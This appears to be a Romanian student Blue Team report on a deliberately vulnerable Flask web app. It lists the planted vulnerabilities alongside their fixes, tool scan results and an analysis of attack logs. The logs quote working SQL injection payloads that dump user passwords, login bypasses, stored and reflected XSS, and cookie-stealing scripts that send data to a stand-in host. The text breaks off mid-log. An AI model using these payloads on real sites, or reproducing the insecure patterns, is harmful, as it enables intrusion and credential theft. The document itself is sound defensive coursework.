

UNIVERSITATEA TEHNICĂ „GHEORGHE ASACHI” DIN IAȘI
FACULTATEA DE AUTOMATICĂ ȘI CALCULATOARE
Domeniul: Calculatoare și Tehnologia Informației
Programul de studii: Tehnologia Informației

Raport Blue
Team Riboflavin (B2)

Coordonator:

Conf.dr.ing. Adrian Alexandrescu

Studenti:

Nicolae Taradaciuc

Mădălina-Elena Boacă

Alexandru-Ionuț Șoșu

IAȘI, 2026

Cuprins

A. Componenta echipei.....	3
1. Nicolae Taradaciuc.....	3
2. Mădălina-Elena Boacă.....	3
3. Alexandru-Ionut Șoșu.....	3
B. Vulnerabilități expuse.....	3
1. app.py.....	3
2. config.py.....	7
3. init_db.py.....	7
4. cauta.html.....	9
5. contul_meu.html.....	9
6. schimba_parola.html.....	9
7. validate.js.....	10
8. reg.html.....	11
9. home.html.....	11
C. Metode de securizare.....	11
1. Primare.....	11
2. Determinarea unor vulnerabilități folosind tool-uri automate și apoi rezolvarea lor.....	13
a. Nmap.....	13
b. Verificare protocoale manual cu utilitarul curl.....	13
c. sslscan.....	14
d. OWASP ZAP.....	14
e. Nikto.....	17
D. Detecție atacuri în log-uri.....	18
1. Server vulnerabil.....	18
a. Atacatori identificați.....	18
b. SQL Injection.....	18
c. XSS.....	22
d. Directory / File Enumeration.....	26
e. Recon / Crawling.....	27
f. Session Hijacking / Session Fixation.....	28
g. Malformed Request / Protocol Fuzzing.....	28
h. Tehnică de ascundere.....	28
i. Atac Hibrid.....	28
2. Server securizat.....	29
E. Anexe.....	30
1. Warning din consola aplicației.....	30
2. nmap.....	30
3. Verificare protocoale manual cu curl.....	31
4. sslscan.....	33
5. OWASP ZAP.....	35
6. Nikto.....	42

A. Componenta echipei

1. Nicolae Taradaciuc (Lider)

- A. Implementarea aplicației de bază
- B. Creare sistem de logging + metodele de securizare prezentate în cadrul laboratorului
- C. Implementarea vulnerabilităților pe serverul nesecurizat (codul: HTML,JS și baza de date)
- D. Analiză log-uri (1 / 3)

2. Mădălina-Elena Boacă

- A. Securizarea serverului
- B. Testarea vulnerabilităților (reparare unde era posibil)
- C. Analiză log-uri (1 / 3)

3. Alexandru-Ionuț Șoșu

- A. Desecurizare app.py
- B. Analiză log-uri (1 / 3)

B. Vulnerabilități expuse

Următoarele exemple de cod sunt soluții pentru vulnerabilitățile create.

1. app.py

- a. Imaginile pentru avatar **sunt salvate indiferent** dacă încercarea de înregistrare a fost **cu succes sau nu**
- b. La înregistrarea unui nou utilizator, parola se salvează în **plain text**, iar la **login**, parola este doar verificată ca string cu “==”

Python

```
password_plain = request.form.get('parola', '').strip()
password_hash = generate_password_hash(password_plain)

# la INSERT, pui password_hash (nu parola în clar)
conn.execute(
    '''INSERT INTO users (username, email, password, nume, prenume, numeAfisat, urlSite,
caleImagineProfil)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)''',
    (username, email, password_hash, nume, prenume, nume_afisat, url_site, cale_imagine)
)
```

- c. Pentru căutarea utilizatorilor pe route-ul “/căuta”, variabila **query** este construită cu **append**, fapt ce rezultă în posibilitatea de a face **SQL injection** pentru a vedea informații din DB cum ar fi parolele cu ' UNION SELECT 1, password, 3, 4, 5 FROM users –

Python

```
query = """
SELECT username, nume, prenume, email, numeAfisat
FROM users
WHERE username LIKE ?
      OR nume LIKE ?
      OR prenume LIKE ?
      OR email LIKE ?
"""

search_pattern = f"%{termen}%"
cur.execute(query, (search_pattern, search_pattern, search_pattern, search_pattern))
users = cur.fetchall()
```

- d. Funcția “**secure_filename**” care verifica numele file-ului încărcat pentru avatar a fost eliminată, fapt ce duce la posibilitatea de a încărca script-uri **shell sau py**

Python

```
filename = secure_filename(

f"Avatar_{username}_{int(datetime.now(timezone.utc).timestamp())}_{image.filename}"
)
filepath = os.path.join(UPLOAD_FOLDER, filename)
image.save(filepath)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
```

- e. Funcția “**clean_sensitive_data**” care șterge **informațiile confidențiale** din log-uri a fost eliminată. Oricine cu acces la log-uri poate vedea parolele în **plaintext**

Python

```
def clean_sensitive_data(form_data):
    if not form_data:
        return {}
    safe_data = dict(form_data)
    sensitive_keys = ['password', 'parola', 'confirm_parola', 'parola_noua',
'parola_veche']
    for key in safe_data:
        if key in sensitive_keys:
            safe_data[key] = '***ASCUNS***'
    return safe_data
```

- f. `SSL_context`-ul a fost eliminat din `app.run`, fapt ce duce la transmiterea datelor în plaintext

Python

```
if __name__ == '__main__':
    ssl_context = ('cert.pem', 'key.pem')
    app.run(host='0.0.0.0', port=5093, ssl_context=ssl_context, debug=False)
```

- g. **Error handlers-urile custom** au fost eliminate. **Flask** poate afișa eroarea standard, care în mod **DEBUG** poate expune cod sursa și variabile de mediu

Python

```
@app.errorhandler(404)
def page_not_found(e):
    app.logger.warning(f"404 Not Found: {request.path} - IP: {request.remote_addr}")
    return "Pagina nu a fost gasita", 404

@app.errorhandler(500)
def internal_server_error(e):
    app.logger.error(f"500 Error la: {request.path} - Eroare: {e}")
    return "Eroare interna a serverului", 500
```

- h. Am adăugat route-ul `/admin/ping`, care simulează o funcție admin pentru testarea rețelei care poate fi folosită pentru **remote code execution** de către un atacator de exemplu cu `"http://localhost:5000/admin/ping?target=google.com%26dir"`

Python

```
def require_admin():
    if session.get('role') != 'ADMIN':
        abort(403)

@app.route('/admin/ping', methods=['GET'])
def ping_tool():
    require_admin()
    target = request.args.get('target', '').strip()

    # doar hostname/IP curat
    if not re.fullmatch(r"[A-Za-z0-9\.\-]{1,253}", target):
        abort(400)

    # fără shell / fără concatenare
    result = subprocess.run(
        ["ping", "-c", "1", target],
        capture_output=True,
        text=True,
        timeout=2
    )
    return f"<pre>{result.stdout}</pre>", 200
```

i. Eliminarea header-elor de securitate

Python

```
@app.after_request
def add_security_headers(response):
    response.headers['X-Frame-Options'] = 'SAMEORIGIN'
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['X-XSS-Protection'] = '1; mode=block'
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self' 'unsafe-inline'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data;"
    )
    return response
```

2. config.py

- a. Secret Key-ul a fost setat ca fiind "123456", ceea ce permite unui atacator să semneze propriile cookie-uri de sesiune și să devină orice utilizator (inclusiv admin) fără parolă (**Weak Secret Key**).

Python

```
SECRET_KEY = '123456' #trebuie să fie o cheie random, ținută în variabilele de mediu, nu în cod
```

- b. Am dezactivat protejarea cookie-urilor și astfel, un atacator, dacă reușește un XSS, poate fura sesiunea utilizatorului.

Python

```
SESSION_COOKIE_HTTPONLY = True    # JS nu poate citi cookie-ul
SESSION_COOKIE_SECURE = True      # cookie-ul se trimite doar pe HTTPS
SESSION_COOKIE_SAMESITE = "Lax"   # reduce CSRF
```

- c. Gama din variabila **ALLOWED_EXTENSIONS** a fost mărită pentru a permite fișiere malițioase, introducând extensii precum .php, .ex sau .py.

Python

```
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
```

3. *init_db.py*

- 1) Au fost eliminate toate constrângerile, oferind posibilitatea de a fi salvate diverse scripturi în câmpurile de nume/site/etc. De asemenea, pot fi introduse date false sau fără sens.

Python

```
conn.execute('''
    CREATE TABLE IF NOT EXISTS users (

        id INTEGER PRIMARY KEY AUTOINCREMENT,

        username TEXT UNIQUE NOT NULL
            CHECK(length(username) BETWEEN 4 AND 500),

        email TEXT UNIQUE NOT NULL
            CHECK(length(email) BETWEEN 6 AND 254)
            CHECK(email LIKE '%@%.%'),

        password TEXT NOT NULL
            CHECK(length(password) >= 1),

        nume TEXT NOT NULL
            CHECK(length(nume) BETWEEN 2 AND 50),

        prenume TEXT NOT NULL
            CHECK(length(prenume) BETWEEN 2 AND 50),

        numeAfisat TEXT NOT NULL
            CHECK(length(numeAfisat) BETWEEN 1 AND 100),

        urlSite TEXT NOT NULL
            CHECK(length(urlSite) BETWEEN 10 AND 266)
            CHECK(urlSite LIKE 'http%' OR urlSite LIKE 'ftp%'),

        caleImagineProfil TEXT
            CHECK(caleImagineProfil IS NULL OR length(caleImagineProfil) <= 104),

        tip TEXT NOT NULL DEFAULT 'user'
            CHECK(tip IN ('user', 'admin', 'moderator')),

        timpInregistrare DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP

    )
''')
```

- 2) A fost scos CHECK(tip IN ('user', 'admin')), iar cum oricine poate deveni 'super-admin' prin SQL Injection

HTML

```
tip TEXT NOT NULL DEFAULT 'user' CHECK(tip IN ('user', 'admin')),
```

- 3) Crearea automată a contului admin/admin123, imediat după crearea bazei de date.
(Default Credentials)

4. *cauta.html*

- Prin folosirea filtrului “| safe” la “termen_cautat”, orice cod HTML/JS introdus în bara de căutare este randat de browser, iar astfel o victimă poate rula scripturi în browser (**Reflected XSS**) (**Se rezolvă prin înlocuirea filtrului “| safe |” cu “| e”**)
- Dacă un atacator s-a înregistrat cu un script în nume (ex: <script>...), acesta va fi executat automat în browserul oricui efectuează o căutare (**Stored XSS**).

None

Ambele vulnerabilități se rezolvă prin înlocuirea filtrului “| safe” cu “| e”.

5. *contul_meu.html*

- Datele profilului (precum numeAfisat, nume, prenume, username) sunt afișate folosind filtrul “| safe”, astfel, evitând sanitizarea codului HTML. Deoarece nu există validare la intrare (în init_db.py sau app.py), un script malițios salvat de un atacator la înregistrare va fi executat în browserul victimei care vizualizează profilul (**Stored XSS**).

HTML

```
{{ user['nume'] | e }}  
{{ user['prenume'] | e }}  
{{ user['numeAfisat'] | e }}  
{{ user['email'] | e }}
```

6. *schimba_parola.html*

- Am lipsa unui câmp ascuns de tip csrf_token în formular, nu se verifică dacă cererea provine intenționat de la utilizator, permițând unui atacator să schimbe parola victimei printr-un atac de tip Cross-Site Request Forgery (CSRF).

HTML

```
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
```

Python

```
csrf = CSRFProtect(app)>
```

- b. Prin folosirea filtrului “|safe” la afișarea mesajelor,, dacă aplicația returnează un mesaj de eroare care include input-ul utilizatorului (ex: "Parola 'xyz<script>...' nu este corectă"), codul scriptului va fi executat (**Reflected XSS**)

HTML

```
<div>{{ msg | e }}</div>
```

7. validate.js

- a. Prin eliminarea ancorei \$ de la finalul regex-ului pentru fișiere, validarea verifică doar prezența extensiei în nume, nu poziția ei finală, permițând încărcarea fișierelor malițioase de tip shell.php.jpg (**File Upload Restriction Bypass**).

JavaScript

```
const fileRegex = /\.(jpg|jpeg|png|gif)$/i;
```

- b. Prin modificarea regex-ului de parolă în /.*/, orice regulă de complexitate este anulată, permițând setarea unor parole foarte simple precum “1” sau chiar spațiu gol, ceea ce facilitează atacurile de tip Brute Force (**Weak Password Policy**)

JavaScript

```
const passwordRegex = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[a-zA-Z\d]{8,64}$/;
```

- c. Prin eliminarea validării protocolului (http/https) din regex-ul pentru URL, un utilizator poate introduce scheme URL care poate rula cod malițios atunci când un alt utilizator dă click pe linkul din profil (**XSS via URI Scheme**).

JavaScript

```
// acceptă doar http/https
const urlRegex =
/(https?|ftp):\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%._\+~#
?&\/=]*)/
```

8. reg.html

- d. Prin utilizarea atributului nevalidate și bazarea exclusivă pe scriptul validate.js (care a fost modificat anterior să fie permisiv), formularul permite trimiterea datelor malițioase (XSS payloads, SQL Injection characters) către server (**Client-Side Validation Bypass**).

None

Soluția este eliminarea atributului "novalidate".

9. home.html

- e. Prin utilizarea blocului `{% autoescape false %}` în jurul listei de utilizatori, motorul de templating este forțat să randeze codul HTML brut din baza de date. Astfel, dacă un utilizator are un nume malițios (ex: `<script>...</script>`), scriptul este executat în browserul oricărui vizitator al paginii Home (**Stored XSS**).

None

Soluția este eliminarea blocului `"{% autoescape false %}"`.

- f. Prin folosirea filtrului `"|safe"` la afișarea mesajelor de sistem, se permite injectarea de cod malițios prin intermediul parametrilor URL care generează erori, expunând utilizatorul la atacuri de tip Reflected XSS.

None

Soluția este eliminarea filtrului `"|safe"`.

C. Metode de securizare

1. Primare

1. Protecție împotriva:
SQL injection prin interogări parametrizate:

/cauta

Python

```
query = """
        SELECT username, nume, prenume, email, numeAfisat FROM users
        WHERE username LIKE ?
        OR nume LIKE ?
        OR prenume LIKE ?
        OR email LIKE ?
        """

cur.execute(query, (search_pattern, search_pattern, search_pattern, search_pattern))
```

/verificare

Python

```
cur.execute("SELECT * FROM users WHERE username = ?", (username,))
```

XSS prin sanitizarea automată făcută de `render_template` din framework-ul Flask.

CSRF prin token Anti-CSRF.

Python

```
from flask_wtf import CSRFProtect

csrf = CSRFProtect(app)
```

HTML

```
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
```

2. Trecerea aplicației pe HTTPS, totuși cu certificat self-signed.

Python

```
ssl_context = ('cert.pem', 'key.pem')
app.run(host='0.0.0.0', port=5000, ssl_context=ssl_context, debug=False)
```

3. Creare hash-uri pe parole pentru a nu putea fi folosite dacă sunt extrase.

Python

```
from werkzeug.security import generate_password_hash, check_password_hash

password_hash = generate_password_hash(password_plain)

conn.execute('''INSERT INTO users (username, email, password, nume, prenume, numeAfisat,
urlSite, caleImagineProfil) VALUES (?, ?, ?, ?, ?, ?, ?, ?)''',
(username, email, password_hash, nume, prenume, nume_afisat, url_site, cale_imagine))
```

4. Ștergerea datelor sensibile din log-uri.

Python

```
def clean_sensitive_data(form_data):
    if not form_data:
        return {}
    safe_data = dict(form_data)
    sensitive_keys = ['password', 'parola', 'confirm_parola', 'parola_noua',
'parola_veche']

    for key in safe_data:
        if key in sensitive_keys:
```

```
safe_data[key] = '***ASCUNS***'  
return safe_data
```

2. Determinarea unor vulnerabilități folosind tool-uri automate și apoi rezolvarea lor.

a. Nmap

Nu a găsit vulnerabilități cunoscute la scanarea cu acest tool (Anexa 2).

b. Verificare protocoale manual cu utilitarul curl

Se deduc următoarele concluzii din rezultate (Anexa 3):

1. Serverul nu permite trafic HTTP (închide conexiunea în cazul în care este făcută o astfel de cerere)
2. În medii reale ar putea fi făcut un MITM ușor din cauza certificatului autosemnat. **Acesta ar trebui înlocuit cu unul semnat de o autoritate de certificare.**

c. sslscan

Pentru a afla mai multe despre **protocoalele disponibile** și a le **dezactiva** pe cele nesigure în cazul în care sunt găsite (Anexa 4).

Din rezultatul scanării se observă următoarele concluzii:

1. Sunt permise doar versiuni considerate sigure de TLS: **TLSv1.2** și **TLSv1.3**.
2. Serverul suportă **TLS Fallback SCSV**, ceea ce împiedică forțarea unui downgrade către o versiune TLS mai slabă.
3. Serverul **blochează renegocierea TLS**, acceptând doar handshake-ul inițial. Orice încercare a clientului de a iniția o renegociere este refuzată, prevenind atacuri de tip Man-in-the-Middle bazate pe combinarea datelor atacatorului cu cele ale unui client autentic.
4. **Compresia TLS este dezactivată**, prevenind atacul **CRIME**, care exploatează șabloane comune pentru a extrage date criptate fără a sparge algoritmul criptografic (de exemplu, cookie-uri de sesiune, token-uri de autentificare sau headere HTTP).
5. Protocoalele TLSv1.2 și TLSv1.3 nu sunt vulnerabile la atacul **Heartbleed**, care permite extragerea de date din memoria RAM fără autentificare.

Nu au fost identificate probleme care să trebuiască securizate suplimentar.

d. OWASP ZAP

Tool de securitate web folosit pentru a găsi vulnerabilități pe care ulterior le vom rezolva (Anexa 5).

1. **Cookie Without Secure Flag** - se putea trimite cookie-uri prin HTTP simplu, problemă care a fost rezolvată prin configurarea aplicației (app.config.update). (Anexa 5 - a)

Python

```
app.config.update(
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SAMESITE='Lax'
)
```

2. **Re-examine Cache-control Directives** - pagini sensibile au mecanismul de cache activat, se pot accesa date sensibile după logout. Soluție: pentru paginile considerate vulnerabile a fost dezactivat mecanismul de cache printr-o metoda adnotată app.after_request au fost modificate headerele corespunzătoare. (Anexa 5 - b)

Python

```
@app.after_request
def add_cache_headers(response):
    if request.path.startswith('/inregistrare') or request.path.startswith('/cauta') \
    or request.path.startswith('/verificare') or request.path.startswith('/logout') \
    or request.path.startswith('/sso') or request.path.startswith('/private') \
    or request.path.startswith('/procesare_schimbare_parola') or
    request.path.startswith('/inregistrare'):
        response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate,
max-age=0'
        response.headers['Pragma'] = 'no-cache'
        response.headers['Expires'] = '0'
    return response
```

3. **X-Content-Type-Options Header Missing** - care ar putea permite interpretarea abuzivă a unor fișiere. Soluție: Blocarea interpretării de către browser a conținutului fișierului în alt mod decât cel menționat în Content-Type de către server. (Anexa 5 - c)

Python

```
@app.after_request
def add_security_headers(response):
    response.headers['X-Content-Type-Options'] = 'nosniff'
    return response
```

4. **Information Disclosure - Suspicious Comments** - soluție: dezactivarea modului debug care rămăsese activat.
5. **User Controllable HTML Element Attribute (Potential XSS)** - Render_template face automat sanitizarea, deci aceasta este o alertă fals pozitivă.
6. **Strict-Transport-Security Header Not Set** - serverul nu trimite headerul HTTP Strict-Transport-Security (HSTS) pentru paginile HTTPS. Soluție: adăugarea prin @app.after_request a acestuia. (Anexa 5 - f)

Python

```
@app.after_request
def set_hsts_header(response):
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
    return response
```

7. **Server Leaks Version Information via "Server" HTTP Response Header Field** - serverul expune framework-ul, versiunea de server și versiunea de Python, astfel se pot căuta vulnerabilități pentru ele. Soluția ar fi modificarea cu o valoare predefinită a headerului Server care să nu ofere informații relevante. Totuși, această soluție nu elimină header-ul adăugat automat de framework. Pentru a ascunde versiunea aplicației, ar trebui utilizat un proxy. (Anexa 5 - g)
8. **Failure to Define Directive with No Fallback** - pentru unele tipuri de fișiere aplicația permite surse externe din punct de vedere logic, limitarea se va aplica doar pentru script-uri întrucât se folosesc stiluri CSS externe. Soluție: modificarea Content-Security-Policy. (Anexa 5 - h)

Python

```
@app.after_request
def set_csp(response):
    response.headers['Content-Security-Policy'] = (
        "script-src 'self'; "
    )
    return response
```

9. **Permissions Policy Header Not Set** - se putea permitea acces neautorizat la unele API-uri din browser pentru domenii externe sau cross-origin. Soluție: dezactivarea acestora prin header-ul Permissions-Policy. (Anexa 5 - i)

Python

```
@app.after_request
def set_permissions_policy(response):
    response.headers['Permissions-Policy'] = (
        "accelerometer=(), ambient-light-sensor=(), autoplay=(), battery=(), camera=(),
        display-capture=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(),
        payment=(), usb=(), vr=()"
    )
    return response
```

10. **Absence of Anti-CSRF Tokens** - absența token-ului Anti-CSRF. Soluție: se utilizează Flask WTF la server și în formularele ce trimit date se adaugă token-ul `<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">`. (Anexa 5 - j)

Python

```
from flask_wtf import CSRFProtect
```

```
csrf = CSRFProtect(app)
```

Element de introdus în formulare:

HTML

```
<input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
```

11. Insufficient Site Isolation Against Spectre Vulnerability - Se pot citi date din alte procese/tab-uri prin vulnerabilitatea Spectre. Soluție: setarea hederelor Cross-Origin-Opener-Policy și Cross-Origin-Embedder-Policy. (Anexa 5 - k)

Python

```
@app.after_request
def set_security_headers(response):
    response.headers['Cross-Origin-Opener-Policy'] = 'same-origin'
    response.headers['Cross-Origin-Embedder-Policy'] = 'require-corp'
    return response
```

12. Application Error Disclosure - se emit informații despre erori interne. Soluție: înlocuirea mesajelor de eroare cu o pagină în care se specifică doar că sunt erori interne. (Anexa 5 - l)

Python

```
@app.errorhandler(500)
def internal_error(error):
    return render_template("500.html"), 500
```

e. Nikto

1. Identifică multe headere care de obicei nu sunt folosite și care au fost setate anterior pentru a evita posibile vulnerabilități evidențiate de OWASP ZAP. (Anexele F 1-8)
2. Identifică un Cookie care nu are setat **secure flag** și **httponly flag**. Problema a fost rezolvată cu `@app.after_request`. (Anexa 6 - 9)

Python

```
@app.after_request
def sterge_fantoma(response):
    response.set_cookie('mesajEroare', value='', expires=0, secure=True, httponly=True)
    return response
```

3. Se identifică și aici faptul că nu am reușit să ascundem versiunea serverului.

D. Detecția atacurilor din log-uri

1. Server vulnerabil

a. Atacatori identificați

Au fost detectate cereri de pe următoarele adrese IP:

- 81.196.175.53
- 89.137.71.30
- 79.115.58.172
- 82.77.237.188
- 89.39.71.170
- 82.77.237.203
- 5.56.112.179
- 192.168.95.91
- 82.77.225.86
- 5.14.172.246
- 10.102.10.7

b. SQL Injection

1. **81.196.175.53**: A făcut acest tip de SQLi pe funcția de căutare (/cauta) de peste 2000 de ori in aproximativ 2 minute. Acesta a încercat să ghicească ce se află în baza de date, căutând caracter cu caracter.

Shell

```
2025-12-26 12:07:16,854 | INFO | app | cauta | SEARCH: Term 'test%' AND  
SUBSTR((SELECT COALESCE(sql,CHAR(32)) FROM sqlite_master WHERE  
type=CHAR(116,97,98,108,101) AND tbl_name=CHAR(117,115,101,114,115) LIMIT  
1),291,1)>CHAR(80) AND 'Ojtj%'='Ojtj' found 1 results.
```

```
2025-12-26 12:07:16,855 | INFO | app | log_response_info | [RESPONSE] Status: 200  
| Duration: 0.0007s
```

2. **89.137.71.30, 79.115.58.172 și 82.77.237.188**: Au încercat să facă login bypass pe pagina de autentificare /verificare cu payload-uri similare precum "' OR 1=1 --", dar toți au avut răspunsul 302, "username not found".

- 89.137.71.30:

Shell

```
2026-01-05 15:26:13,426 | INFO | app | verificare | LOGIN ATTEMPT: User ' ' OR 1=1  
--' trying to login.  
2026-01-05 15:26:13,427 | WARNING | app | verificare | LOGIN FAILED: Username ' '  
OR 1=1 --' not found.
```

```
2026-01-05 15:26:13,427 | INFO | app | log_response_info | [RESPONSE] Status: 302
| Duration: 0.0007s
2026-01-05 15:26:13,454 | INFO | _internal | _log | 89.137.71.30 - - [05/Jan/2026
15:26:13] "[32mPOST /verificare HTTP/1.1[0m" 302 -
```

- 79.115.58.172:

Shell

```
2026-01-06 12:17:47,204 | INFO | app | verificare | LOGIN ATTEMPT: User '' OR 1=1
--' trying to login.
2026-01-06 12:17:47,205 | WARNING | app | verificare | LOGIN FAILED: Username ''
OR 1=1 --' not found.
2026-01-06 12:17:47,205 | INFO | app | log_response_info | [RESPONSE] Status: 302
| Duration: 0.0007s
2026-01-06 12:17:47,205 | INFO | _internal | _log | 79.115.58.172 - - [06/Jan/2026
12:17:47] "[32mPOST /verificare HTTP/1.1[0m" 302 -
```

- 82.77.237.188:

Shell

```
2026-01-06 11:36:16,628 | INFO | app | verificare | LOGIN ATTEMPT: User '' or 1=1
--' trying to login.
2026-01-06 11:36:16,644 | WARNING | app | verificare | LOGIN FAILED: Username ''
or 1=1 --' not found.
2026-01-06 11:36:16,644 | INFO | app | log_response_info | [RESPONSE] Status: 302
| Duration: 0.0157s
2026-01-06 11:36:16,644 | INFO | _internal | _log | 82.77.237.188 - - [06/Jan/2026
11:36:16] "[32mPOST /verificare HTTP/1.1[0m" 302 -
```

3. 5.56.112.179: "" ORDER BY 1 --" (sunt mai multe, deducere număr de coloane)

Shell

```
2026-01-09 19:02:45,412 | INFO | app | caută | SEARCH: Term '' ORDER BY 1 --' found 10
results.
```

4. 5.56.112.179: "" UNION SELECT 1, name, 3, 4, 5 FROM sqlite_master WHERE type='table' --" (reușită)

Shell

```
2026-01-09 19:04:13,412 | INFO | app | caută | SEARCH: Term '' UNION SELECT 1, name, 3, 4,
5 FROM sqlite_master WHERE type='table' --' found 12 results.
```

5. **5.56.112.179**: "" UNION SELECT 1, readfile('/app/'), 3, 4, 5 --" (eroare nu există funcția - *încercare de a citi fișiere prin SQL*)

Shell

```
2026-01-09 19:28:29,850 | ERROR | app | caută | SQL ERROR: no such function: readfile |  
Term: ' UNION SELECT 1, readfile('/app/'), 3, 4, 5 -- | IP: 5.56.112.179
```

6. **5.56.112.179**: "" UNION SELECT 1, username, password, caleImagineProfil, 5 FROM users --" (reușită)

Shell

```
2026-01-10 18:29:32,940 | INFO | app | caută | SEARCH: Term '' UNION SELECT 1, username,  
password, caleImagineProfil, 5 FROM users -- -' found 30 results.
```

c. Login bypass prin credential guessing

1. **89.39.71.170**: Au fost observate aproximativ 50 de încercări de autentificare (/verificare) din care aproximativ 15 sunt în contul de admin cu parole diferite precum SystemAdmin, tepupboss, asdasdasd etc. și nu au avut succes:

Shell

```
POST Data (UNSAFE): {'username': 'admin', 'password': 'tepupboss'}  
2026-01-02 12:28:58,661 | INFO | app | verificare | LOGIN ATTEMPT: User 'admin'  
trying to login.  
2026-01-02 12:28:58,661 | WARNING | app | verificare | LOGIN FAILED: Incorrect  
password for user 'admin'
```

2. **81.196.175.53**: A reușit să se autentifice cu credențialele default ale admin-ului.

Shell

```
POST Data (UNSAFE): {'username': 'admin', 'password': 'admin123'}  
2025-12-26 12:11:36,222 | INFO | app | verificare | LOGIN ATTEMPT: User 'admin'  
trying to login.  
2025-12-26 12:11:36,222 | INFO | app | verificare | LOGIN SUCCESS: User 'admin'  
logged in.
```

3. **89.39.71.170**: A reușit să exploateze o problemă lăsată intenționat, având succes în a se loga (/verificare) cu username și password goale și obținând **LOGIN SUCCESS**

Shell

```
POST Data (UNSAFE): {'username': '', 'password': ''}  
2026-01-02 12:18:23,686 | INFO | app | verificare | LOGIN ATTEMPT: User '' trying  
to login.  
2026-01-02 12:18:23,686 | INFO | app | verificare | LOGIN SUCCESS: User '' logged  
in.
```

4. Brute force realizat pe parolă pentru contul de admin de la: 82.77.237.203 și 82.76.117.250. Parola a fost schimbată anterior de 81.196.175.53 care a aflat-o prin SQLi. 5.56.112.179 a reușit o conectare pentru că a extras parola prin SQLi cu SQLMap.

Shell

```
2026-01-10 17:59:57,058 | INFO | app | verificare | LOGIN ATTEMPT: User 'admin' trying to login.
2026-01-10 17:59:57,059 | INFO | app | verificare | LOGIN SUCCESS: User 'admin' logged in.
```

d. XSS

1. 79.115.58.172 și 81.196.175.53: Au testat câteva payload-uri de tip `<script>alert(1)</script>` ca username în /verificare sau /inregistrare, dar au eșuat.

Shell

```
POST Data (UNSAFE): {'username': '<script>alert(1)</script>', 'password': 'ghjkl;'}
2026-01-06 12:18:05,346 | INFO | app | verificare | LOGIN ATTEMPT: User '<script>alert(1)</script>' trying to login.
2026-01-06 12:18:05,346 | WARNING | app | verificare | LOGIN FAILED: Username '<script>alert(1)</script>' not found.
```

2. 81.196.175.53: A reușit multiple Stored XSS în /inregistrare precum cele de tip alertă sau body.prepend

Shell

```
POST Data (UNSAFE): {'username': '<img src=x onerror=alert(1)>', 'email': 'test@gmail.com', 'parola': 'parola123', 'confirm_parola': 'parola123', 'nume': 'asdfasdfsdf', 'prenume': 'asfdasfdasdfas', 'nume_afisat': 'asdfasdfasdfas', 'url_site': 'sdfasdfasdfasdf'}
2025-12-26 12:44:28,514 | INFO | app | inregistrare | REGISTER ATTEMPT: User '<img src=x onerror=alert(1)>' starts registration from IP 81.196.175.53
2025-12-26 12:44:28,515 | INFO | app | inregistrare | UPLOAD SUCCESS: User '<img src=x onerror=alert(1)>' uploaded file 'ann-chin-still-master675.jpg'
2025-12-26 12:44:28,577 | INFO | app | inregistrare | REGISTER SUCCESS: New user created: '<img src=x onerror=alert(1)>' | Email: test@gmail.com
POST Data (UNSAFE): {'username': '<img src=x onerror=document.body.prepend(\"TE PUP BOSS.\");>', 'email': 'gelu@gmail.com', 'parola': 'parola123', 'confirm_parola': 'parola123', 'nume': 'Luca', 'prenume': 'Gelu', 'nume_afisat': 'Gelu Luca', 'url_site': 'asfdasdasdfas'}
2025-12-26 12:48:35,512 | INFO | app | inregistrare | REGISTER ATTEMPT: User '<img src=x onerror=document.body.prepend(\"TE PUP BOSS.\");>' starts registration from IP 81.196.175.53
2025-12-26 12:48:35,512 | INFO | app | inregistrare | UPLOAD SUCCESS: User '<img src=x onerror=document.body.prepend(\"TE PUP BOSS.\");>' uploaded file 'ann-chin-still-master675.jpg'
2025-12-26 12:48:35,558 | INFO | app | inregistrare | REGISTER SUCCESS: New user created: '<img src=x onerror=document.body.prepend(\"TE PUP BOSS.\");>' | Email: gelu@gmail.com
```

3. **89.137.71.30**: A încercat de 2 ori sa obtina cookie-uri folosind un script cu un payload de tip URL

Shell

```
2026-01-05 15:29:45,614 | INFO | _internal | _log | 89.137.71.30 - - [05/Jan/2026
15:29:45] "[33mGET
/acasa<script>fetch('http://atacul-tau.com?cookie='%20+%20document.cookie)</script>
HTTP/1.1[0m" 404 -
```

4. **79.115.58.172** și **81.196.175.53**: Au testat câteva payload-uri de tip `<script>alert(1)</script>` ca username in /verificare sau /inregistrare, dar au eșuat.

Shell

```
POST Data (UNSAFE): {'username': '<script>alert(1)</script>', 'password':
'ghjkl;'}
2026-01-06 12:18:05,346 | INFO | app | verificare | LOGIN ATTEMPT: User
'<script>alert(1)</script>' trying to login.
2026-01-06 12:18:05,346 | WARNING | app | verificare | LOGIN FAILED: Username
'<script>alert(1)</script>' not found.
```

5. Atac Reflected XSS: **82.77.237.203**: cu '`<img src=x onerror=alert(2)>`'

Shell

```
2026-01-08 10:15:52,685 | INFO | app | caută | SEARCH: Term '<img src=x onerror=alert(2)>'
found 0 results.
2026-01-08 10:15:52,685 | INFO | app | log_response_info | [RESPONSE] Status: 200 |
Duration: 0.0007s
2026-01-08 10:15:52,686 | INFO | _internal | _log | 82.77.237.203 - - [08/Jan/2026
10:15:52] "GET /cauta?termen=<img%20src=x%20onerror=alert(2)> HTTP/1.1" 200 -
```

6. Atac Reflected XSS: **5.56.112.179**: "`<script>fetch('http://atacul-tau.com?c=' + document.cookie)</script>`" (`http://atacul-tau.com ???`)

Shell

```
2026-01-08 15:04:33,228 | ERROR | app | caută | SQL ERROR: near "http": syntax error |
